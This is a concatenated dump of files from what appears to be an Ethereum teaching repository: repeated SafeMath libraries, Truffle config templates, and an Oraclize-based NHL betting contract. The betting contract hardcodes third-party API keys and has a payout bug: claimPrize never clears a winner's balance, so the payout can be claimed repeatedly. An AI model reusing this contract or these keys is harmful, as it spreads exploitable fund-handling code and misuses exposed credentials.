Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/contracts/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/final/contracts/library/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.4; 2 | 3 | /** 4 | * @dev Wrappers over Solidity's arithmetic operations with added overflow 5 | * checks. 6 | * 7 | * Arithmetic operations in Solidity wrap on overflow. This can easily result 8 | * in bugs, because programmers usually assume that an overflow raises an 9 | * error, which is the standard behavior in high level programming languages. 10 | * `SafeMath` restores this intuition by reverting the transaction when an 11 | * operation overflows. 12 | * 13 | * Using this library instead of the unchecked operations eliminates an entire 14 | * class of bugs, so it's recommended to use it always. 15 | */ 16 | library SafeMath { 17 | /** 18 | * @dev Returns the addition of two unsigned integers, reverting on 19 | * overflow. 20 | * 21 | * Counterpart to Solidity's `+` operator. 22 | * 23 | * Requirements: 24 | * - Addition cannot overflow. 25 | */ 26 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 27 | uint256 c = a + b; 28 | require(c >= a, "SafeMath: addition overflow"); 29 | 30 | return c; 31 | } 32 | 33 | /** 34 | * @dev Returns the subtraction of two unsigned integers, reverting on 35 | * overflow (when the result is negative). 36 | * 37 | * Counterpart to Solidity's `-` operator. 38 | * 39 | * Requirements: 40 | * - Subtraction cannot overflow. 41 | */ 42 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 43 | require(b <= a, "SafeMath: subtraction overflow"); 44 | uint256 c = a - b; 45 | 46 | return c; 47 | } 48 | 49 | /** 50 | * @dev Returns the multiplication of two unsigned integers, reverting on 51 | * overflow. 52 | * 53 | * Counterpart to Solidity's `*` operator. 54 | * 55 | * Requirements: 56 | * - Multiplication cannot overflow. 57 | */ 58 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 59 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 60 | // benefit is lost if 'b' is also tested. 61 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 62 | if (a == 0) { 63 | return 0; 64 | } 65 | 66 | uint256 c = a * b; 67 | require(c / a == b, "SafeMath: multiplication overflow"); 68 | 69 | return c; 70 | } 71 | 72 | /** 73 | * @dev Returns the integer division of two unsigned integers. Reverts on 74 | * division by zero. The result is rounded towards zero. 75 | * 76 | * Counterpart to Solidity's `/` operator. Note: this function uses a 77 | * `revert` opcode (which leaves remaining gas untouched) while Solidity 78 | * uses an invalid opcode to revert (consuming all remaining gas). 79 | * 80 | * Requirements: 81 | * - The divisor cannot be zero. 82 | */ 83 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 84 | // Solidity only automatically asserts when dividing by 0 85 | require(b > 0, "SafeMath: division by zero"); 86 | uint256 c = a / b; 87 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 88 | 89 | return c; 90 | } 91 | 92 | /** 93 | * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), 94 | * Reverts when dividing by zero. 95 | * 96 | * Counterpart to Solidity's `%` operator. This function uses a `revert` 97 | * opcode (which leaves remaining gas untouched) while Solidity uses an 98 | * invalid opcode to revert (consuming all remaining gas). 99 | * 100 | * Requirements: 101 | * - The divisor cannot be zero. 102 | */ 103 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 104 | require(b != 0, "SafeMath: modulo by zero"); 105 | return a % b; 106 | } 107 | } -------------------------------------------------------------------------------- /modules/examples/oraclize_examples/NHLPredictor.sol: -------------------------------------------------------------------------------- 1 | /// @ Title Sport Betting using Oraclize contract/API NLH API KEY at86gvk5v3pujkmfm3q8b658 2 | 3 | pragma solidity ^0.4.11; 4 | 5 | import '../library/strings.sol'; 6 | import '../library/Oraclize.sol'; 7 | 8 | contract NHLPredictor is usingOraclize{ 9 | 10 | using strings for *; // calling the string library 11 | 12 | event BetPlaced(string _betPlaced, string _team, string conference, uint _amountBet); 13 | event BetIncreased(string _desc, uint _by, uint _total); 14 | event Paid(address _to, uint _amount); 15 | event OraclizeCalledBack(string desc, string result); 16 | 17 | struct Bet{ // you can only place one bet 18 | bool init; 19 | string leadingTeam; 20 | string conference; 21 | uint betBalance; 22 | uint betLength; 23 | } 24 | 25 | 26 | mapping (string => bool) private winners; 27 | mapping (address => Bet) public allBets; 28 | 29 | uint private contractCreationTime; 30 | uint private contractBalance = 0; 31 | 32 | address owner; 33 | 34 | bytes32[] oraclizeCalls; 35 | 36 | string private url = "json(http://api.sportradar.us/nhl-ot4/league/hierarchy.json?api_key=gknn7f32meh3wtdpdwx2ysg9)"; 37 | 38 | function NHLPredictor(address _oraclizeAddressResolver){ 39 | contractCreationTime = now; 40 | owner = msg.sender; 41 | // I have uploaded the oraclize contract on my private net, and here is its address 42 | OAR = OraclizeAddrResolverI(_oraclizeAddressResolver); 43 | } 44 | 45 | 46 | function placeBet(string _forTeam, string _conference, uint length) payable { 47 | 48 | if(now > contractCreationTime + 7 days || allBets[msg.sender].init == true){ 49 | throw; // you can only bet once, and the betting is only for 7 days 50 | } 51 | 52 | uint amount = msg.value; 53 | contractBalance += amount; 54 | allBets[msg.sender] = Bet(true, _forTeam, _conference, amount, length); 55 | BetPlaced("A bet has been placed for the team $1 in the conference $2 for the amount $3", _forTeam, _conference, allBets[msg.sender].betBalance); 56 | } 57 | 58 | function addToBet() payable { 59 | if(allBets[msg.sender].init != true){ 60 | throw; //make sure to have a bet before 61 | } 62 | uint amount = msg.value; 63 | contractBalance += amount; 64 | allBets[msg.sender].betBalance += amount; 65 | BetIncreased("The bet was increased by $1 to $2", msg.value, allBets[msg.sender].betBalance); 66 | } 67 | 68 | 69 | // Either WESTERN CONFERENCE -- PACIFIC or CENTRAL 70 | // Either EASTERN CONFERENCE -- ATLANTIC or METROPOLITAN 71 | 72 | modifier isBettingDone(){ 73 | if(now < contractCreationTime + allBets[msg.sender].betLength * 1 minutes){ 74 | throw; // betting period is not done 75 | } 76 | _; 77 | } 78 | 79 | function getWinnerPerDivision(string _division) isBettingDone { 80 | string memory endOfURL; 81 | bytes32 divisionHash = sha3(_division); 82 | 83 | if(divisionHash == sha3("pacific")){ 84 | endOfURL = ".conferences[0].divisions[0].teams[0].name"; 85 | } else if(divisionHash == sha3("central")){ 86 | endOfURL = ".conferences[0].divisions[1].teams[0].name"; 87 | } else if (divisionHash == sha3("atlantic")){ 88 | endOfURL = ".conferences[1].divisions[0].teams[0].name"; 89 | } else if (divisionHash == sha3("metropolitan")){ 90 | endOfURL = ".conferences[1].divisions[1].teams[0].name"; 91 | } else { 92 | throw; // unrecognized division 93 | } 94 | 95 | oraclizeCalls.push(oraclize_query("URL", url.toSlice().concat(endOfURL.toSlice()))); 96 | 97 | } 98 | 99 | function __callback(bytes32 myid, string result) { 100 | OraclizeCalledBack("Oraclize successfully called back with the result", result); 101 | if (msg.sender != oraclize_cbAddress()) { 102 | throw; 103 | } 104 | winners[result] = true; // add winners of their respective divisions to our mapping 105 | } 106 | 107 | function claimPrize(){ 108 | if(!allBets[msg.sender].init){ 109 | throw; 110 | } 111 | 112 | if(winners[allBets[msg.sender].leadingTeam]){ 113 | uint toSend = allBets[msg.sender].betBalance * 2; 114 | contractBalance -= toSend; 115 | if(!msg.sender.send(toSend)){ 116 | throw; 117 | } 118 | Paid(msg.sender, toSend); 119 | } 120 | } 121 | 122 | function destroy(){ 123 | if (msg.sender != owner){ 124 | throw; 125 | } 126 | selfdestruct(owner); 127 | } 128 | 129 | function isWinner() public constant returns(bool){ 130 | return winners[allBets[msg.sender].leadingTeam]; 131 | } 132 | 133 | 134 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/01/truffle-config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Use this file to configure your truffle project. It's seeded with some 3 | * common settings for different networks and features like migrations, 4 | * compilation and testing. Uncomment the ones you need or modify 5 | * them to suit your project as necessary. 6 | * 7 | * More information about configuration can be found at: 8 | * 9 | * truffleframework.com/docs/advanced/configuration 10 | * 11 | * To deploy via Infura you'll need a wallet provider (like truffle-hdwallet-provider) 12 | * to sign your transactions before they're sent to a remote public node. Infura accounts 13 | * are available for free at: infura.io/register. 14 | * 15 | * You'll also need a mnemonic - the twelve word phrase the wallet uses to generate 16 | * public/private key pairs. If you're publishing your code to GitHub make sure you load this 17 | * phrase from a file you've .gitignored so it doesn't accidentally become public. 18 | * 19 | */ 20 | 21 | // const HDWalletProvider = require('truffle-hdwallet-provider'); 22 | // const infuraKey = "fj4jll3k....."; 23 | // 24 | // const fs = require('fs'); 25 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 26 | 27 | module.exports = { 28 | /** 29 | * Networks define how you connect to your ethereum client and let you set the 30 | * defaults web3 uses to send transactions. If you don't specify one truffle 31 | * will spin up a development blockchain for you on port 9545 when you 32 | * run `develop` or `test`. You can ask a truffle command to use a specific 33 | * network from the command line, e.g 34 | * 35 | * $ truffle test --network 36 | */ 37 | 38 | networks: { 39 | // Useful for testing. The `development` name is special - truffle uses it by default 40 | // if it's defined here and no other network is specified at the command line. 41 | // You should run a client (like ganache-cli, geth or parity) in a separate terminal 42 | // tab if you use this network and you must also set the `host`, `port` and `network_id` 43 | // options below to some value. 44 | // 45 | // development: { 46 | // host: "127.0.0.1", // Localhost (default: none) 47 | // port: 8545, // Standard Ethereum port (default: none) 48 | // network_id: "*", // Any network (default: none) 49 | // }, 50 | 51 | // Another network with more advanced options... 52 | // advanced: { 53 | // port: 8777, // Custom port 54 | // network_id: 1342, // Custom network 55 | // gas: 8500000, // Gas sent with each transaction (default: ~6700000) 56 | // gasPrice: 20000000000, // 20 gwei (in wei) (default: 100 gwei) 57 | // from:
, // Account to send txs from (default: accounts[0]) 58 | // websockets: true // Enable EventEmitter interface for web3 (default: false) 59 | // }, 60 | 61 | // Useful for deploying to a public network. 62 | // NB: It's important to wrap the provider as a function. 63 | // ropsten: { 64 | // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), 65 | // network_id: 3, // Ropsten's id 66 | // gas: 5500000, // Ropsten has a lower block limit than mainnet 67 | // confirmations: 2, // # of confs to wait between deployments. (default: 0) 68 | // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) 69 | // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 70 | // }, 71 | 72 | // Useful for private networks 73 | // private: { 74 | // provider: () => new HDWalletProvider(mnemonic, `https://network.io`), 75 | // network_id: 2111, // This network is yours, in the cloud. 76 | // production: true // Treats this network as if it was a public net. (default: false) 77 | // } 78 | }, 79 | 80 | // Set default mocha options here, use special reporters etc. 81 | mocha: { 82 | // timeout: 100000 83 | }, 84 | 85 | // Configure your compilers 86 | compilers: { 87 | solc: { 88 | version: "0.5.4", // Fetch exact version from solc-bin (default: truffle's version) 89 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 90 | // settings: { // See the solidity docs for advice about optimization and evmVersion 91 | optimizer: { 92 | enabled: false, 93 | runs: 200 94 | }, 95 | // evmVersion: "byzantium" 96 | // } 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/00/truffle-config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Use this file to configure your truffle project. It's seeded with some 3 | * common settings for different networks and features like migrations, 4 | * compilation and testing. Uncomment the ones you need or modify 5 | * them to suit your project as necessary. 6 | * 7 | * More information about configuration can be found at: 8 | * 9 | * truffleframework.com/docs/advanced/configuration 10 | * 11 | * To deploy via Infura you'll need a wallet provider (like truffle-hdwallet-provider) 12 | * to sign your transactions before they're sent to a remote public node. Infura accounts 13 | * are available for free at: infura.io/register. 14 | * 15 | * You'll also need a mnemonic - the twelve word phrase the wallet uses to generate 16 | * public/private key pairs. If you're publishing your code to GitHub make sure you load this 17 | * phrase from a file you've .gitignored so it doesn't accidentally become public. 18 | * 19 | */ 20 | 21 | // const HDWalletProvider = require('truffle-hdwallet-provider'); 22 | // const infuraKey = "fj4jll3k....."; 23 | // 24 | // const fs = require('fs'); 25 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 26 | 27 | module.exports = { 28 | /** 29 | * Networks define how you connect to your ethereum client and let you set the 30 | * defaults web3 uses to send transactions. If you don't specify one truffle 31 | * will spin up a development blockchain for you on port 9545 when you 32 | * run `develop` or `test`. You can ask a truffle command to use a specific 33 | * network from the command line, e.g 34 | * 35 | * $ truffle test --network 36 | */ 37 | 38 | networks: { 39 | // Useful for testing. The `development` name is special - truffle uses it by default 40 | // if it's defined here and no other network is specified at the command line. 41 | // You should run a client (like ganache-cli, geth or parity) in a separate terminal 42 | // tab if you use this network and you must also set the `host`, `port` and `network_id` 43 | // options below to some value. 44 | // 45 | // development: { 46 | // host: "127.0.0.1", // Localhost (default: none) 47 | // port: 8545, // Standard Ethereum port (default: none) 48 | // network_id: "*", // Any network (default: none) 49 | // }, 50 | 51 | // Another network with more advanced options... 52 | // advanced: { 53 | // port: 8777, // Custom port 54 | // network_id: 1342, // Custom network 55 | // gas: 8500000, // Gas sent with each transaction (default: ~6700000) 56 | // gasPrice: 20000000000, // 20 gwei (in wei) (default: 100 gwei) 57 | // from:
, // Account to send txs from (default: accounts[0]) 58 | // websockets: true // Enable EventEmitter interface for web3 (default: false) 59 | // }, 60 | 61 | // Useful for deploying to a public network. 62 | // NB: It's important to wrap the provider as a function. 63 | // ropsten: { 64 | // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), 65 | // network_id: 3, // Ropsten's id 66 | // gas: 5500000, // Ropsten has a lower block limit than mainnet 67 | // confirmations: 2, // # of confs to wait between deployments. (default: 0) 68 | // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) 69 | // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 70 | // }, 71 | 72 | // Useful for private networks 73 | // private: { 74 | // provider: () => new HDWalletProvider(mnemonic, `https://network.io`), 75 | // network_id: 2111, // This network is yours, in the cloud. 76 | // production: true // Treats this network as if it was a public net. (default: false) 77 | // } 78 | }, 79 | 80 | // Set default mocha options here, use special reporters etc. 81 | mocha: { 82 | // timeout: 100000 83 | }, 84 | 85 | // Configure your compilers 86 | compilers: { 87 | solc: { 88 | version: "0.5.4", // Fetch exact version from solc-bin (default: truffle's version) 89 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 90 | // settings: { // See the solidity docs for advice about optimization and evmVersion 91 | // optimizer: { 92 | // enabled: false, 93 | // runs: 200 94 | // }, 95 | // evmVersion: "byzantium" 96 | // } 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/02/truffle-config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Use this file to configure your truffle project. It's seeded with some 3 | * common settings for different networks and features like migrations, 4 | * compilation and testing. Uncomment the ones you need or modify 5 | * them to suit your project as necessary. 6 | * 7 | * More information about configuration can be found at: 8 | * 9 | * truffleframework.com/docs/advanced/configuration 10 | * 11 | * To deploy via Infura you'll need a wallet provider (like truffle-hdwallet-provider) 12 | * to sign your transactions before they're sent to a remote public node. Infura accounts 13 | * are available for free at: infura.io/register. 14 | * 15 | * You'll also need a mnemonic - the twelve word phrase the wallet uses to generate 16 | * public/private key pairs. If you're publishing your code to GitHub make sure you load this 17 | * phrase from a file you've .gitignored so it doesn't accidentally become public. 18 | * 19 | */ 20 | 21 | // const HDWalletProvider = require('truffle-hdwallet-provider'); 22 | // const infuraKey = "fj4jll3k....."; 23 | // 24 | // const fs = require('fs'); 25 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 26 | 27 | module.exports = { 28 | /** 29 | * Networks define how you connect to your ethereum client and let you set the 30 | * defaults web3 uses to send transactions. If you don't specify one truffle 31 | * will spin up a development blockchain for you on port 9545 when you 32 | * run `develop` or `test`. You can ask a truffle command to use a specific 33 | * network from the command line, e.g 34 | * 35 | * $ truffle test --network 36 | */ 37 | 38 | networks: { 39 | // Useful for testing. The `development` name is special - truffle uses it by default 40 | // if it's defined here and no other network is specified at the command line. 41 | // You should run a client (like ganache-cli, geth or parity) in a separate terminal 42 | // tab if you use this network and you must also set the `host`, `port` and `network_id` 43 | // options below to some value. 44 | // 45 | // development: { 46 | // host: "127.0.0.1", // Localhost (default: none) 47 | // port: 8545, // Standard Ethereum port (default: none) 48 | // network_id: "*", // Any network (default: none) 49 | // }, 50 | 51 | // Another network with more advanced options... 52 | // advanced: { 53 | // port: 8777, // Custom port 54 | // network_id: 1342, // Custom network 55 | // gas: 8500000, // Gas sent with each transaction (default: ~6700000) 56 | // gasPrice: 20000000000, // 20 gwei (in wei) (default: 100 gwei) 57 | // from:
, // Account to send txs from (default: accounts[0]) 58 | // websockets: true // Enable EventEmitter interface for web3 (default: false) 59 | // }, 60 | 61 | // Useful for deploying to a public network. 62 | // NB: It's important to wrap the provider as a function. 63 | // ropsten: { 64 | // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), 65 | // network_id: 3, // Ropsten's id 66 | // gas: 5500000, // Ropsten has a lower block limit than mainnet 67 | // confirmations: 2, // # of confs to wait between deployments. (default: 0) 68 | // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) 69 | // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 70 | // }, 71 | 72 | // Useful for private networks 73 | // private: { 74 | // provider: () => new HDWalletProvider(mnemonic, `https://network.io`), 75 | // network_id: 2111, // This network is yours, in the cloud. 76 | // production: true // Treats this network as if it was a public net. (default: false) 77 | // } 78 | }, 79 | 80 | // Set default mocha options here, use special reporters etc. 81 | mocha: { 82 | // timeout: 100000 83 | }, 84 | 85 | // Configure your compilers 86 | compilers: { 87 | solc: { 88 | version: "0.5.4", // Fetch exact version from solc-bin (default: truffle's version) 89 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 90 | // settings: { // See the solidity docs for advice about optimization and evmVersion 91 | // optimizer: { 92 | // enabled: false, 93 | // runs: 200 94 | // }, 95 | // evmVersion: "byzantium" 96 | // } 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/truffle-config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Use this file to configure your truffle project. It's seeded with some 3 | * common settings for different networks and features like migrations, 4 | * compilation and testing. Uncomment the ones you need or modify 5 | * them to suit your project as necessary. 6 | * 7 | * More information about configuration can be found at: 8 | * 9 | * truffleframework.com/docs/advanced/configuration 10 | * 11 | * To deploy via Infura you'll need a wallet provider (like truffle-hdwallet-provider) 12 | * to sign your transactions before they're sent to a remote public node. Infura accounts 13 | * are available for free at: infura.io/register. 14 | * 15 | * You'll also need a mnemonic - the twelve word phrase the wallet uses to generate 16 | * public/private key pairs. If you're publishing your code to GitHub make sure you load this 17 | * phrase from a file you've .gitignored so it doesn't accidentally become public. 18 | * 19 | */ 20 | 21 | // const HDWalletProvider = require('truffle-hdwallet-provider'); 22 | // const infuraKey = "fj4jll3k....."; 23 | // 24 | // const fs = require('fs'); 25 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 26 | 27 | module.exports = { 28 | /** 29 | * Networks define how you connect to your ethereum client and let you set the 30 | * defaults web3 uses to send transactions. If you don't specify one truffle 31 | * will spin up a development blockchain for you on port 9545 when you 32 | * run `develop` or `test`. You can ask a truffle command to use a specific 33 | * network from the command line, e.g 34 | * 35 | * $ truffle test --network 36 | */ 37 | 38 | networks: { 39 | // Useful for testing. The `development` name is special - truffle uses it by default 40 | // if it's defined here and no other network is specified at the command line. 41 | // You should run a client (like ganache-cli, geth or parity) in a separate terminal 42 | // tab if you use this network and you must also set the `host`, `port` and `network_id` 43 | // options below to some value. 44 | // 45 | // development: { 46 | // host: "127.0.0.1", // Localhost (default: none) 47 | // port: 8545, // Standard Ethereum port (default: none) 48 | // network_id: "*", // Any network (default: none) 49 | // }, 50 | 51 | // Another network with more advanced options... 52 | // advanced: { 53 | // port: 8777, // Custom port 54 | // network_id: 1342, // Custom network 55 | // gas: 8500000, // Gas sent with each transaction (default: ~6700000) 56 | // gasPrice: 20000000000, // 20 gwei (in wei) (default: 100 gwei) 57 | // from:
, // Account to send txs from (default: accounts[0]) 58 | // websockets: true // Enable EventEmitter interface for web3 (default: false) 59 | // }, 60 | 61 | // Useful for deploying to a public network. 62 | // NB: It's important to wrap the provider as a function. 63 | // ropsten: { 64 | // provider: () => new HDWalletProvider(mnemonic, `https://ropsten.infura.io/v3/YOUR-PROJECT-ID`), 65 | // network_id: 3, // Ropsten's id 66 | // gas: 5500000, // Ropsten has a lower block limit than mainnet 67 | // confirmations: 2, // # of confs to wait between deployments. (default: 0) 68 | // timeoutBlocks: 200, // # of blocks before a deployment times out (minimum/default: 50) 69 | // skipDryRun: true // Skip dry run before migrations? (default: false for public nets ) 70 | // }, 71 | 72 | // Useful for private networks 73 | // private: { 74 | // provider: () => new HDWalletProvider(mnemonic, `https://network.io`), 75 | // network_id: 2111, // This network is yours, in the cloud. 76 | // production: true // Treats this network as if it was a public net. (default: false) 77 | // } 78 | }, 79 | 80 | // Set default mocha options here, use special reporters etc. 81 | mocha: { 82 | // timeout: 100000 83 | }, 84 | 85 | // Configure your compilers 86 | compilers: { 87 | solc: { 88 | version: "0.5.4", // Fetch exact version from solc-bin (default: truffle's version) 89 | // docker: true, // Use "0.5.1" you've installed locally with docker (default: false) 90 | // settings: { // See the solidity docs for advice about optimization and evmVersion 91 | // optimizer: { 92 | // enabled: false, 93 | // runs: 200 94 | // }, 95 | // evmVersion: "byzantium" 96 | // } 97 | } 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/truffle-config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Use this file to configure your truffle project. It's seeded with some 3 | * common settings for different networks and features like migrations, 4 | * compilation and testing. Uncomment the ones you need or modify 5 | * them to suit your project as necessary. 6 | * 7 | * More information about configuration can be found at: 8 | * 9 | * truffleframework.com/docs/advanced/configuration 10 | * 11 | * To deploy via Infura you'll need a wallet provider (like truffle-hdwallet-provider) 12 | * to sign your transactions before they're sent to a remote public node. Infura accounts 13 | * are available for free at: infura.io/register. 14 | * 15 | * You'll also need a mnemonic - the twelve word phrase the wallet uses to generate 16 | * public/private key pairs. If you're publishing your code to GitHub make sure you load this 17 | * phrase from a file you've .gitignored so it doesn't accidentally become public. 18 | * 19 | */ 20 | 21 | // const HDWalletProvider = require('truffle-hdwallet-provider'); 22 | // const infuraKey = "fj4jll3k....."; 23 | // 24 | // const fs = require('fs'); 25 | // const mnemonic = fs.readFileSync(".secret").toString().trim(); 26 | 27 | module.exports = { 28 | /** 29 | * Networks define how you connect to your ethereum client and let you set the 30 | * defaults web3 uses to send transactions. If you don't specify one truffle 31 | * will spin up a development blockchain for you on port 9545 when you 32 | * run `develop` or `test`. You can ask a truffle command to use a specific 33 | * network from the command line, e.g 34 | * 35 | * $ truffle test --network 36 | */ 37 | 38 | networks: { 39 | // Useful for testing. The `development` name is special - truffle uses it by default 40 | // if it's defined here and no other network is specified at the command line. 41 | // You should run a client (like ganache-cli, geth or parity) in a separate terminal 42 | // tab if you use this network and you must also set the `host`, `port` and `network_id` 43 | // options below to some value. 44 | // 45 | // development: { 46 | // host: "127.0.0.1", // Localhost (default: none) 47 | // port: 8545, // Standard Ethereum port (default: none) 48 | // network_id: "*", // Any network (default: none) 49 | // }, 50 | 51 | // Another network with more advanced options... 52 | // advanced: { 53 | // port: 8777, // Custom port 54 | // network_id: 1342, // Custom network 55 | // gas: 8500000, // Gas sent with each transaction (default: ~6700000) 56 | // gasPrice: 20000000000, // 20 gwei (in wei) (default: 100 gwei) 57 | // from:
